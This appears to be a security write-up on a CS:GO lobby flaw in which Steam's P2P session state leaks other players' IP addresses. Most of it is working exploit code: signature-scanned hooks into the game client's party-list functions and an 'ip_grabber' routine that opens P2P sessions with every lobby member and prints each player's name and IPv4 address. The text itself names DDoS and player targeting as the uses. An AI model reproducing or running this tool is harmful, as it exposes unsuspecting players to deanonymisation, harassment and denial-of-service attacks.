Overview
CSGO’s lobby architecture implements a decentralized peer-to-peer topology, where clients establish direct connections to exchange game state and synchronize player actions. This design exposes the underlying ISteamNetworking interface, which leaks remote peer IPv4 addresses through the P2PSessionState_t structure. This enables trivial IP enumeration of all players in an active lobby.
Architecture Analysis
Steam Networking Stack
CSGO leverages Valve’s proprietary Steam networking layer built atop the Source engine. The P2P system abstracts away NAT traversal through a combination of direct connections and relay servers, exposing the following critical structures via the Source SDK:
The ISteamNetworking interface provides two essential methods:
SendP2PPacket initiates or maintains a P2P session by transmitting up to 1200 bytes to a target SteamID. Session establishment is implicit; if no active session exists, the call creates one.
bool SendP2PPacket(CSteamID steamIDRemote, const void *pubData,
uint32 cubData, EP2PSend eSendType);
enum EP2PSend
{
k_EP2PSendUnreliable = 0,
k_EP2PSendUnreliableNoDelay = 1,
k_EP2PSendReliable = 2,
k_EP2PSendReliableWithBuffering = 3,
};
GetP2PSessionState retrieves session metadata, including the critical m_nRemoteIP field containing the peer’s IPv4 address in network byte order.
bool GetP2PSessionState(CSteamID steamIDRemote, P2PSessionState_t *pConnectionState);
struct P2PSessionState_t
{
uint8 m_bConnectionActive; // Session is established
uint8 m_bConnecting; // Handshake in progress
uint8 m_eP2PSessionError; // Error code (if any)
uint8 m_bUsingRelay; // Connection routed through relay
int32 m_nBytesQueuedForSend; // Pending outbound buffer size
int32 m_nPacketsQueuedForSend; // Queued packet count
uint32 m_nRemoteIP; // Target IPv4 address (leaking point)
uint16 m_nRemotePort; // Target port
};
The vulnerability stems from unrestricted access to m_nRemoteIP. No authentication or permission check validates whether the caller should have visibility into peer addresses.
Panorama UI Integration
CSGO’s 2018 UI overhaul introduced the Panorama system: a JavaScript runtime executing within Google’s V8 engine. The PartyListAPI and MyPersonaAPI classes expose player enumeration primitives:
PartyListAPI.GetCount()returns lobby player countPartyListAPI.GetXuidByIndex(int index)retrieves 64-bit SteamID at given indexPartyListAPI.GetFriendName(const char* xuid)maps SteamID to display nameMyPersonaAPI.GetXuid()returns local player’s SteamIDPartyListAPI.IsPartySessionActive()validates active lobby state
These functions lack SDK documentation and require reverse engineering to locate and invoke from native code.
Function Registration and V8 Binding
The Panorama binding layer follows a consistent pattern. For example, GetCount registration:
v4 = v8::FunctionTemplate::New(v11, v3, sub_105815B0);
v5 = (*(*dword_15314180 + 516))(dword_15314180, *v4, v8);
v6 = v8::String::NewFromUtf8(v10, v5, "GetCount", 0, -1);
v8::Template::Set(v12, *v6);
v7 = (*(*dword_15314180 + 660))(dword_15314180, "GetCount", 1, &Locale, 8);
The callback validator (sub_105815B0) enforces argument count and invokes the native implementation:
v12 = sub_1055D9A0(*v1); // Extract class pointer
if (v12)
sub_10581890(v12, v1); // Invoke native handler
The native handler delegates to the actual implementation and marshals the return value back to V8:
v3 = sub_103275AF(a1); // Invoke virtual function
v5 = *v8::Number::New(v8, v4, v3, ...); // Box into V8 Number
Class Pointer Discovery
The PartyListAPI class is partially implemented as a VTable, making it discoverable using ClassInformer. Within the class constructor:
sub_10633DB0 mov edx, ecx
sub_10633DB0+2 mov ecx, dword_1530B6A4 ; Class pointer
sub_10633DB0+8 test ecx, ecx
sub_10633DB0+A jz short locret_10633DD3
sub_10633DB0+C lea eax, [ecx+1Ch]
sub_10633DB0+F cmp eax, edx
sub_10633DB0+11 jnz short locret_10633DD3
sub_10633DB0+13 mov dword_1530B6A4, 0
sub_10633DB0+1D mov eax, [ecx]
sub_10633DB0+1F push 1
sub_10633DB0+21 call dword ptr [eax]
The global reference dword_1530B6A4 holds the stable class pointer across session lifecycle.
Implementation
Panorama API Wrapper
class i_party_list
{
public:
int get_count()
{
using fn_t = int(__thiscall*)(i_party_list*);
static fn_t fn = reinterpret_cast<fn_t>(
pattern_scan("client.dll", "8B 01 FF 60 04 CC CC CC CC CC CC"));
return fn(this);
}
bool is_party_session_active()
{
using fn_t = int(__cdecl*)();
static fn_t fn = reinterpret_cast<fn_t>(
pattern_scan("client.dll", "8B 0D ? ? ? ? 8B 01 FF 50 34 F7 D8 1B C0 F7 D8 C3"));
return fn();
}
const char* get_xuid_by_index(int index)
{
using fn_t = void*(__thiscall*)(i_party_list*, int);
static fn_t fn = reinterpret_cast<fn_t>(
pattern_scan("client.dll", "55 8B EC 83 E4 F8 8B 55 08 83 EC 08"));
return reinterpret_cast<const char*>(fn(this, index));
}
const char* get_friend_name(const char* xuid)
{
using fn_t = unsigned char*(__stdcall*)(int);
static fn_t fn = reinterpret_cast<fn_t>(
pattern_scan("client.dll",
"55 8B EC 83 E4 F8 83 EC 10 8B 4D 08 56 57 "
"E8 ? ? ? ? 8B F0 8D 4C 24 08 8B FA 89 74 24 08 "
"0F 57 C0 89 7C 24 0C 66 0F 13 44 24 ? "
"E8 ? ? ? ? 84 C0 75 08"));
return reinterpret_cast<const char*>(fn(reinterpret_cast<int>(xuid)));
}
};
class i_my_persona
{
public:
const char* get_xuid() {
using fn_t = void*(__thiscall*)(i_my_persona*);
static fn_t fn = reinterpret_cast<fn_t>(
pattern_scan("client.dll",
"FF 35 ? ? ? ? FF 35 ? ? ? ? 68 ? ? ? ? "
"68 ? ? ? ? 68 ? ? ? ? E8 ? ? ? ? 83 C4 14 B8")
);
return reinterpret_cast<const char*>(fn(this));
}
};
Class Instantiation
Static initialization through pattern-scanned globals:
i_party_list* party_list = **reinterpret_cast<i_party_list***>(
pattern_scan("client.dll", "A1 ? ? ? ? 85 C0 75 58") + 1
);
i_my_persona* my_persona = *reinterpret_cast<i_my_persona**>(
pattern_scan("client.dll", "0F 85 ? ? ? ? 8B 35 ? ? ? ? 85 F6 75 28") + 2
);
Steam Networking Initialization
using SteamAPI_GetHSteamUser_t = uint32_t(__cdecl*)();
using SteamAPI_GetHSteamPipe_t = uint32_t(__cdecl*)();
using SteamClient_t = ISteamClient*(__cdecl*)();
auto steam_user_fn = reinterpret_cast<SteamAPI_GetHSteamUser_t>(
GetProcAddress(GetModuleHandleA("steam_api.dll"), "SteamAPI_GetHSteamUser")
);
auto steam_pipe_fn = reinterpret_cast<SteamAPI_GetHSteamPipe_t>(
GetProcAddress(GetModuleHandleA("steam_api.dll"), "SteamAPI_GetHSteamPipe")
);
auto steam_client_fn = reinterpret_cast<SteamClient_t>(
GetProcAddress(GetModuleHandleA("steam_api.dll"), "SteamClient")
);
uint32_t steam_user = steam_user_fn();
uint32_t steam_pipe = steam_pipe_fn();
ISteamClient* steam_client = steam_client_fn();
ISteamNetworking* steam_networking =
steam_client->GetISteamNetworking(
steam_user,
steam_pipe,
"SteamNetworking006"
);
Exploitation Logic
The enumeration state machine manages asynchronous P2P connection establishment with bounded timeout:
namespace ip_grabber
{
inline bool grabbing = false;
inline bool iterated_players = false;
inline int start_time = 0;
inline std::vector<std::tuple<const char*, CSteamID, bool>> targets;
void run();
}
void ip_grabber::run()
{
if (!grabbing)
{
return;
}
// Validate active session
if (!party_list->is_party_session_active())
{
printf("not in a lobby!\n");
grabbing = false;
iterated_players = false;
targets.clear();
return;
}
// Phase 1: Enumerate players and initiate P2P connections
if (!iterated_players)
{
unsigned __int64 local_id = _atoi64(my_persona->get_xuid());
for (int i = 0; i < party_list->get_count(); i++)
{
unsigned __int64 remote_id = _atoi64(
party_list->get_xuid_by_index(i)
);
if (remote_id == local_id)
{
continue;
}
const char* name = party_list->get_friend_name(
party_list->get_xuid_by_index(i)
);
CSteamID steam_id(remote_id);
targets.push_back({name, steam_id, false});
// Trigger session establishment
steam_networking->SendP2PPacket(
steam_id, "lmao", 4,
EP2PSend::k_EP2PSendUnreliableNoDelay
);
}
start_time = globals->tick_count;
iterated_players = true;
return;
}
// Phase 2: Poll session state and extract addresses
for (auto& [name, steam_id, resolved] : targets)
{
P2PSessionState_t state = { };
steam_networking->GetP2PSessionState(steam_id, &state);
if (!state.m_bConnectionActive)
{
// Timeout after 10 seconds
if (globals->tick_count > start_time + time_to_ticks(10))
{
printf("Name: %s | IP: timed out\n", name);
resolved = true;
}
continue;
}
// Extract IPv4 octets (little-endian)
char address[16];
unsigned char* bytes = (unsigned char*)&state.m_nRemoteIP;
sprintf_s(address, "%d.%d.%d.%d", bytes[3], bytes[2], bytes[1], bytes[0]);
printf("Name: %s | IP: %s\n", name, address);
resolved = true;
steam_networking->CloseP2PSessionWithUser(steam_id);
}
bool all_resolved = std::all_of(targets.begin(), targets.end(),
[](const auto& t)
{
return std::get<2>(t);
});
if (all_resolved)
{
grabbing = false;
iterated_players = false;
targets.clear();
}
}
Security Implications
The absence of access control on P2P session metadata represents a critical information disclosure vulnerability. Any player with lobby membership can enumerate the IP addresses of all connected peers, facilitating distributed denial-of-service attacks, IP-based player targeting, and network reconnaissance.